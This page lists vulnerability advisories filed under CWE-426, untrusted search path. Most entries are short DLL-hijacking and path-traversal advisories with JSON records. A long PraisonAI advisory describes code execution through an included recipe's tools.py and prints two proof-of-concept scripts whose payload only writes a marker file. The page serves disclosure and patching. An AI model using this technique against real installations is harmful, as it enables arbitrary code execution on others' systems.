Common Weakness Enumeration

CWE-426

Allowed-with-Review

Untrusted Search Path

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control.

936 vulnerabilities reference this CWE, most recent first.

GHSA-HQ5M-J87X-CF2W

Vulnerability from github – Published: 2022-05-24 17:30 – Updated: 2022-05-24 17:30
VLAI
Details

HUAWEI P30 Pro versions earlier than 10.1.0.160(C00E160R2P8) have a path traversal vulnerability. The system does not sufficiently validate certain pathname, successful exploit could allow the attacker access files and cause information disclosure.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-9106"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-426"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-12T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "HUAWEI P30 Pro versions earlier than 10.1.0.160(C00E160R2P8) have a path traversal vulnerability. The system does not sufficiently validate certain pathname, successful exploit could allow the attacker access files and cause information disclosure.",
  "id": "GHSA-hq5m-j87x-cf2w",
  "modified": "2022-05-24T17:30:33Z",
  "published": "2022-05-24T17:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9106"
    },
    {
      "type": "WEB",
      "url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20200930-01-pathtraversal-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HQV2-M338-MJ94

Vulnerability from github – Published: 2022-05-17 01:18 – Updated: 2022-05-17 01:18
VLAI
Details

Untrusted search path vulnerability in Optimal Guard 1.1.21 and earlier allows an attacker to gain privileges via a Trojan horse DLL in an unspecified directory.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-10836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-426"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-29T01:35:00Z",
    "severity": "HIGH"
  },
  "details": "Untrusted search path vulnerability in Optimal Guard 1.1.21 and earlier allows an attacker to gain privileges via a Trojan horse DLL in an unspecified directory.",
  "id": "GHSA-hqv2-m338-mj94",
  "modified": "2022-05-17T01:18:59Z",
  "published": "2022-05-17T01:18:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10836"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN87540575/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.optim.co.jp/contents/23246"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HQVX-XG7F-6MMM

Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2023-02-02 18:31
VLAI
Details

A DLL search path vulnerability was reported in PaperDisplay Hotkey Service version 1.2.0.8 that could allow privilege escalation. Lenovo has ended support for PaperDisplay Hotkey software as the Night light feature introduced in Windows 10 Build 1703 provides similar features.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-6165"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-426"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-19T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "A DLL search path vulnerability was reported in PaperDisplay Hotkey Service version 1.2.0.8 that could allow privilege escalation. Lenovo has ended support for PaperDisplay Hotkey software as the Night light feature introduced in Windows 10 Build 1703 provides similar features.",
  "id": "GHSA-hqvx-xg7f-6mmm",
  "modified": "2023-02-02T18:31:07Z",
  "published": "2022-05-24T16:53:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6165"
    },
    {
      "type": "WEB",
      "url": "https://support.lenovo.com/solutions/LEN-27569"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HV44-V25J-F7M2

Vulnerability from github – Published: 2025-01-31 15:30 – Updated: 2025-01-31 15:30
VLAI
Details

Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis Cyber Protect Cloud Agent (Windows) before build 39378.

Severity
6.3 (Medium)
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-24829"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-426"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-31T13:15:27Z",
    "severity": "MODERATE"
  },
  "details": "Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis Cyber Protect Cloud Agent (Windows) before build 39378.",
  "id": "GHSA-hv44-v25j-f7m2",
  "modified": "2025-01-31T15:30:44Z",
  "published": "2025-01-31T15:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24829"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-7839"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXF4-PC5P-7F5C

Vulnerability from github – Published: 2022-11-09 19:02 – Updated: 2022-11-10 19:01
VLAI
Details

A Untrusted Search Path vulnerability in openldap2 of openSUSE Factory allows local attackers with control of the ldap user or group to change ownership of arbitrary directory entries to this user/group, leading to escalation to root. This issue affects: openSUSE Factory openldap2 versions prior to 2.6.3-404.1.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-31253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-426"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-09T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Untrusted Search Path vulnerability in openldap2 of openSUSE Factory allows local attackers with control of the ldap user or group to change ownership of arbitrary directory entries to this user/group, leading to escalation to root. This issue affects: openSUSE Factory openldap2 versions prior to 2.6.3-404.1.",
  "id": "GHSA-hxf4-pc5p-7f5c",
  "modified": "2022-11-10T19:01:08Z",
  "published": "2022-11-09T19:02:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31253"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1202931"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXMV-C4G6-5FQC

Vulnerability from github – Published: 2026-08-25 14:15 – Updated: 2026-08-25 14:15
VLAI
Summary
PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code
Details

Summary

PraisonAI's workflow include implementation implicitly imports and executes an included recipe's tools.py file even when the documented tools.py autoload opt-in is unset.

This bypasses the hardening added for the prior automatic tools.py RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.

The same sink is reachable through the higher-level praisonai.recipe.run() recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.

This is distinct from the previously published tool_resolver.py, api/call.py, templates/tool_override.py, and agents_generator.py variants. The affected callsite is the workflow include implementation in praisonaiagents, reached through the documented/covered Include workflow composition feature.

Affected Components

  • Package: praisonaiagents
  • File: praisonaiagents/workflows/workflows.py
  • Sink: Workflow._execute_include()
  • Current affected callsite:
tools_py = recipe_path / "tools.py"
if tools_py.exists():
    spec = importlib.util.spec_from_file_location("recipe_tools", tools_py)
    recipe_module = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(recipe_module)

The current head also contains a similar unguarded workflow-local tools.py import in _resolve_pydantic_class(). That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.

Security Boundary

PraisonAI documents secure defaults for implicit tools.py autoload:

  • PRAISONAI_ALLOW_TEMPLATE_TOOLS controls implicit template/CWD tools.py autoload and is disabled by default.
  • PRAISONAI_ALLOW_LOCAL_TOOLS controls automatic loading of local tools.py files and requires the value true.
  • Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in.
  • Existing regression tests for GHSA-xcmw-grxf-wjhj assert that template/CWD tools.py must not execute by default.

Workflow._execute_include() does not check PRAISONAI_ALLOW_TEMPLATE_TOOLS, does not check PRAISONAI_ALLOW_LOCAL_TOOLS, and does not route through the shared safe loader before executing the included recipe's tools.py.

The report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover Include, include(), YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe's tools.py unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.

The report also is not claiming that recipe tools.py files are inherently unsafe or unsupported. Official recipe documentation describes tools.py as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit tools.py autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.

Impact

An attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.

The payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.

Reproduction

Run the attached local-only PoV:

python3 pov.py

Expected vulnerable output:

VULNERABLE: included recipe tools.py executed with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset
marker=...
marker_content=executed

The PoV:

  1. Unsets PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS.
  2. Creates a temporary child_recipe/tools.py with a marker-write payload.
  3. Creates a minimal child_recipe/workflow.yaml.
  4. Runs Workflow(steps=[include("child_recipe")]).run(...).
  5. Confirms the marker file was written before any model-backed workflow step is needed.

Supplementary higher-level API check:

python3 pov_recipe_run.py

Expected vulnerable output:

VULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset
recipe_status=success
recipe_ok=True
marker=...
marker_content=executed

Validation

Tested vulnerable:

  • Current head: bcb6957dac1bc8949866522948a9f61d7e4bd4c1
  • Latest release tag: v4.6.56 (praisonai==4.6.56, praisonaiagents==1.6.56)
  • Older affected tag: v3.9.26 (praisonai==3.9.26, praisonaiagents==0.12.12)

Negative/control observations:

  • v3.9.24 does not expose the same include helper/API used by this PoV.
  • The hardened praisonai.templates.tool_override.create_tool_registry_with_overrides(..., template_dir=...) path does not execute tools.py when PRAISONAI_ALLOW_TEMPLATE_TOOLS is unset.
  • Existing regression test src/praisonai/tests/unit/templates/test_tool_override_autoload_gate.py states that implicit recipe/template tools.py autoload should be gated behind PRAISONAI_ALLOW_TEMPLATE_TOOLS.
  • Include is a first-class workflow feature, not an accidental private method: repository tests cover include() imports, YAML include parsing, direct Workflow._execute_include presence, and include steps inside loops.
  • praisonai.recipe.run() also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.

Root Cause

The include implementation reintroduced a direct importlib.util.spec_from_file_location() plus spec.loader.exec_module() path outside the centralized safe loader and template override gate. Prior fixes hardened several tools.py autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.

Suggested Fix

Route included-recipe tool loading through the same security policy used by the template tool override system.

Conservative options:

  1. Do not implicitly load included recipe tools.py by default.
  2. Only load it when PRAISONAI_ALLOW_TEMPLATE_TOOLS is explicitly truthy.
  3. Prefer explicit tools_sources, override_files, or a caller-supplied registry for custom tools.
  4. Add regression coverage for Workflow(steps=[include("...")]) proving included recipe tools.py does not execute with the opt-in unset.
  5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.

If local workflow includes are intended to use PRAISONAI_ALLOW_LOCAL_TOOLS instead, the same principle applies: the include sink should call a shared helper and should not perform raw exec_module() directly.

Severity

Rationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.

Critical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.

Appendix A - pov.py

#!/usr/bin/env python3
"""Local PoV for PraisonAI workflow include tools.py autoload.

This PoV uses only local files and the public workflow API. It verifies whether
a workflow-local include executes the included recipe's tools.py even when the
PRAISONAI_ALLOW_LOCAL_TOOLS opt-in is unset.
"""

from __future__ import annotations

import os
import shutil
import sys
import tempfile
from pathlib import Path


MARKER_NAME = "prai_workflow_include_tools_autoload_marker.txt"


def _find_default_repo() -> Path:
    for parent in Path(__file__).resolve().parents:
        candidate = parent / "artifacts" / "repos" / "praisonai-current"
        if candidate.exists():
            return candidate
    raise RuntimeError("Could not locate artifacts/repos/praisonai-current")


def main() -> int:
    repo = Path(os.environ.get("PRAISONAI_POV_REPO", str(_find_default_repo()))).resolve()
    sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
    sys.path.insert(0, str(repo / "src" / "praisonai"))

    os.environ.pop("PRAISONAI_ALLOW_LOCAL_TOOLS", None)
    os.environ.pop("PRAISONAI_ALLOW_TEMPLATE_TOOLS", None)

    workdir = Path(tempfile.mkdtemp(prefix="prai-include-autoload-"))
    old_cwd = Path.cwd()
    try:
        recipe = workdir / "child_recipe"
        recipe.mkdir()
        marker = workdir / MARKER_NAME

        (recipe / "tools.py").write_text(
            "from pathlib import Path\n"
            f"Path({str(marker)!r}).write_text('executed')\n"
            "def benign_tool():\n"
            "    return 'ok'\n",
            encoding="utf-8",
        )
        (recipe / "workflow.yaml").write_text(
            "name: child\n"
            "steps: []\n",
            encoding="utf-8",
        )

        os.chdir(workdir)

        from praisonaiagents.workflows.workflows import Workflow, include

        workflow = Workflow(steps=[include("child_recipe")])
        workflow.run(input="", llm="dummy/local", stream=False)

        if marker.exists():
            print(
                "VULNERABLE: included recipe tools.py executed with "
                "PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset"
            )
            print(f"marker={marker}")
            print(f"marker_content={marker.read_text(encoding='utf-8')}")
            return 0

        print("NOT VULNERABLE: included recipe tools.py did not execute")
        return 1
    finally:
        os.chdir(old_cwd)
        shutil.rmtree(workdir, ignore_errors=True)


if __name__ == "__main__":
    raise SystemExit(main())

Appendix B - pov_recipe_run.py

#!/usr/bin/env python3
"""Supplementary local PoV through praisonai.recipe.run().

This exercises the higher-level recipe API. It does not start a network server
or rely on any external service. The payload writes a local marker file only.
"""

from __future__ import annotations

import os
import shutil
import sys
import tempfile
from pathlib import Path


MARKER_NAME = "prai_recipe_run_include_tools_autoload_marker.txt"


def _find_default_repo() -> Path:
    for parent in Path(__file__).resolve().parents:
        candidate = parent / "artifacts" / "repos" / "praisonai-current"
        if candidate.exists():
            return candidate
    raise RuntimeError("Could not locate artifacts/repos/praisonai-current")


def main() -> int:
    repo = Path(os.environ.get("PRAISONAI_POV_REPO", str(_find_default_repo()))).resolve()
    sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
    sys.path.insert(0, str(repo / "src" / "praisonai"))

    os.environ.pop("PRAISONAI_ALLOW_LOCAL_TOOLS", None)
    os.environ.pop("PRAISONAI_ALLOW_TEMPLATE_TOOLS", None)

    workdir = Path(tempfile.mkdtemp(prefix="prai-recipe-include-autoload-"))
    old_cwd = Path.cwd()
    try:
        parent_recipe = workdir / "parent_recipe"
        child_recipe = workdir / "child_recipe"
        parent_recipe.mkdir()
        child_recipe.mkdir()
        marker = workdir / MARKER_NAME

        (parent_recipe / "TEMPLATE.yaml").write_text(
            "name: parent_recipe\n"
            "version: 1.0.0\n"
            "workflow: workflow.yaml\n",
            encoding="utf-8",
        )
        (parent_recipe / "workflow.yaml").write_text(
            "name: parent\n"
            "steps:\n"
            "  - include: child_recipe\n",
            encoding="utf-8",
        )
        (child_recipe / "workflow.yaml").write_text(
            "name: child\n"
            "steps: []\n",
            encoding="utf-8",
        )
        (child_recipe / "tools.py").write_text(
            "from pathlib import Path\n"
            f"Path({str(marker)!r}).write_text('executed')\n"
            "def benign_tool():\n"
            "    return 'ok'\n",
            encoding="utf-8",
        )

        os.chdir(workdir)

        from praisonai import recipe

        result = recipe.run(str(parent_recipe), input={}, options={"force": True})

        if marker.exists():
            print(
                "VULNERABLE: praisonai.recipe.run() reached workflow include "
                "tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and "
                "PRAISONAI_ALLOW_TEMPLATE_TOOLS unset"
            )
            print(f"recipe_status={result.status}")
            print(f"recipe_ok={result.ok}")
            print(f"marker={marker}")
            print(f"marker_content={marker.read_text(encoding='utf-8')}")
            return 0

        print("NOT VULNERABLE: recipe.run() did not execute included recipe tools.py")
        print(f"recipe_status={result.status}")
        print(f"recipe_error={result.error}")
        return 1
    finally:
        os.chdir(old_cwd)
        shutil.rmtree(workdir, ignore_errors=True)


if __name__ == "__main__":
    raise SystemExit(main())
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.12.12"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.26"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-426",
      "CWE-829"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:15:27Z",
    "nvd_published_at": "2026-08-05T20:17:10Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPraisonAI\u0027s workflow include implementation implicitly imports and executes an included recipe\u0027s `tools.py` file even when the documented `tools.py` autoload opt-in is unset.\n\nThis bypasses the hardening added for the prior automatic `tools.py` RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.\n\nThe same sink is reachable through the higher-level `praisonai.recipe.run()` recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.\n\nThis is distinct from the previously published `tool_resolver.py`, `api/call.py`, `templates/tool_override.py`, and `agents_generator.py` variants. The affected callsite is the workflow include implementation in `praisonaiagents`, reached through the documented/covered `Include` workflow composition feature.\n\n## Affected Components\n\n- Package: `praisonaiagents`\n- File: `praisonaiagents/workflows/workflows.py`\n- Sink: `Workflow._execute_include()`\n- Current affected callsite:\n\n```python\ntools_py = recipe_path / \"tools.py\"\nif tools_py.exists():\n    spec = importlib.util.spec_from_file_location(\"recipe_tools\", tools_py)\n    recipe_module = importlib.util.module_from_spec(spec)\n    spec.loader.exec_module(recipe_module)\n```\n\nThe current head also contains a similar unguarded workflow-local `tools.py` import in `_resolve_pydantic_class()`. That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.\n\n## Security Boundary\n\nPraisonAI documents secure defaults for implicit `tools.py` autoload:\n\n- `PRAISONAI_ALLOW_TEMPLATE_TOOLS` controls implicit template/CWD `tools.py` autoload and is disabled by default.\n- `PRAISONAI_ALLOW_LOCAL_TOOLS` controls automatic loading of local `tools.py` files and requires the value `true`.\n- Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in.\n- Existing regression tests for `GHSA-xcmw-grxf-wjhj` assert that template/CWD `tools.py` must not execute by default.\n\n`Workflow._execute_include()` does not check `PRAISONAI_ALLOW_TEMPLATE_TOOLS`, does not check `PRAISONAI_ALLOW_LOCAL_TOOLS`, and does not route through the shared safe loader before executing the included recipe\u0027s `tools.py`.\n\nThe report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover `Include`, `include()`, YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe\u0027s `tools.py` unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.\n\nThe report also is not claiming that recipe `tools.py` files are inherently unsafe or unsupported. Official recipe documentation describes `tools.py` as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit `tools.py` autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.\n\n## Impact\n\nAn attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.\n\nThe payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.\n\n## Reproduction\n\nRun the attached local-only PoV:\n\n```bash\npython3 pov.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: included recipe tools.py executed with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nmarker=...\nmarker_content=executed\n```\n\nThe PoV:\n\n1. Unsets `PRAISONAI_ALLOW_LOCAL_TOOLS` and `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n2. Creates a temporary `child_recipe/tools.py` with a marker-write payload.\n3. Creates a minimal `child_recipe/workflow.yaml`.\n4. Runs `Workflow(steps=[include(\"child_recipe\")]).run(...)`.\n5. Confirms the marker file was written before any model-backed workflow step is needed.\n\nSupplementary higher-level API check:\n\n```bash\npython3 pov_recipe_run.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nrecipe_status=success\nrecipe_ok=True\nmarker=...\nmarker_content=executed\n```\n\n## Validation\n\nTested vulnerable:\n\n- Current head: `bcb6957dac1bc8949866522948a9f61d7e4bd4c1`\n- Latest release tag: `v4.6.56` (`praisonai==4.6.56`, `praisonaiagents==1.6.56`)\n- Older affected tag: `v3.9.26` (`praisonai==3.9.26`, `praisonaiagents==0.12.12`)\n\nNegative/control observations:\n\n- `v3.9.24` does not expose the same `include` helper/API used by this PoV.\n- The hardened `praisonai.templates.tool_override.create_tool_registry_with_overrides(..., template_dir=...)` path does not execute `tools.py` when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is unset.\n- Existing regression test `src/praisonai/tests/unit/templates/test_tool_override_autoload_gate.py` states that implicit recipe/template `tools.py` autoload should be gated behind `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n- Include is a first-class workflow feature, not an accidental private method: repository tests cover `include()` imports, YAML include parsing, direct `Workflow._execute_include` presence, and include steps inside loops.\n- `praisonai.recipe.run()` also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.\n\n## Root Cause\n\nThe include implementation reintroduced a direct `importlib.util.spec_from_file_location()` plus `spec.loader.exec_module()` path outside the centralized safe loader and template override gate. Prior fixes hardened several `tools.py` autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.\n\n## Suggested Fix\n\nRoute included-recipe tool loading through the same security policy used by the template tool override system.\n\nConservative options:\n\n1. Do not implicitly load included recipe `tools.py` by default.\n2. Only load it when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is explicitly truthy.\n3. Prefer explicit `tools_sources`, `override_files`, or a caller-supplied registry for custom tools.\n4. Add regression coverage for `Workflow(steps=[include(\"...\")])` proving included recipe `tools.py` does not execute with the opt-in unset.\n5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.\n\nIf local workflow includes are intended to use `PRAISONAI_ALLOW_LOCAL_TOOLS` instead, the same principle applies: the include sink should call a shared helper and should not perform raw `exec_module()` directly.\n\n## Severity\n\nRationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.\n\nCritical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.\n\n\n## Appendix A - pov.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI workflow include tools.py autoload.\n\nThis PoV uses only local files and the public workflow API. It verifies whether\na workflow-local include executes the included recipe\u0027s tools.py even when the\nPRAISONAI_ALLOW_LOCAL_TOOLS opt-in is unset.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_workflow_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -\u003e Path:\n    for parent in Path(__file__).resolve().parents:\n        candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n        if candidate.exists():\n            return candidate\n    raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -\u003e int:\n    repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n    os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n    os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n    workdir = Path(tempfile.mkdtemp(prefix=\"prai-include-autoload-\"))\n    old_cwd = Path.cwd()\n    try:\n        recipe = workdir / \"child_recipe\"\n        recipe.mkdir()\n        marker = workdir / MARKER_NAME\n\n        (recipe / \"tools.py\").write_text(\n            \"from pathlib import Path\\n\"\n            f\"Path({str(marker)!r}).write_text(\u0027executed\u0027)\\n\"\n            \"def benign_tool():\\n\"\n            \"    return \u0027ok\u0027\\n\",\n            encoding=\"utf-8\",\n        )\n        (recipe / \"workflow.yaml\").write_text(\n            \"name: child\\n\"\n            \"steps: []\\n\",\n            encoding=\"utf-8\",\n        )\n\n        os.chdir(workdir)\n\n        from praisonaiagents.workflows.workflows import Workflow, include\n\n        workflow = Workflow(steps=[include(\"child_recipe\")])\n        workflow.run(input=\"\", llm=\"dummy/local\", stream=False)\n\n        if marker.exists():\n            print(\n                \"VULNERABLE: included recipe tools.py executed with \"\n                \"PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n            )\n            print(f\"marker={marker}\")\n            print(f\"marker_content={marker.read_text(encoding=\u0027utf-8\u0027)}\")\n            return 0\n\n        print(\"NOT VULNERABLE: included recipe tools.py did not execute\")\n        return 1\n    finally:\n        os.chdir(old_cwd)\n        shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```\n\n## Appendix B - pov_recipe_run.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Supplementary local PoV through praisonai.recipe.run().\n\nThis exercises the higher-level recipe API. It does not start a network server\nor rely on any external service. The payload writes a local marker file only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_recipe_run_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -\u003e Path:\n    for parent in Path(__file__).resolve().parents:\n        candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n        if candidate.exists():\n            return candidate\n    raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -\u003e int:\n    repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n    os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n    os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n    workdir = Path(tempfile.mkdtemp(prefix=\"prai-recipe-include-autoload-\"))\n    old_cwd = Path.cwd()\n    try:\n        parent_recipe = workdir / \"parent_recipe\"\n        child_recipe = workdir / \"child_recipe\"\n        parent_recipe.mkdir()\n        child_recipe.mkdir()\n        marker = workdir / MARKER_NAME\n\n        (parent_recipe / \"TEMPLATE.yaml\").write_text(\n            \"name: parent_recipe\\n\"\n            \"version: 1.0.0\\n\"\n            \"workflow: workflow.yaml\\n\",\n            encoding=\"utf-8\",\n        )\n        (parent_recipe / \"workflow.yaml\").write_text(\n            \"name: parent\\n\"\n            \"steps:\\n\"\n            \"  - include: child_recipe\\n\",\n            encoding=\"utf-8\",\n        )\n        (child_recipe / \"workflow.yaml\").write_text(\n            \"name: child\\n\"\n            \"steps: []\\n\",\n            encoding=\"utf-8\",\n        )\n        (child_recipe / \"tools.py\").write_text(\n            \"from pathlib import Path\\n\"\n            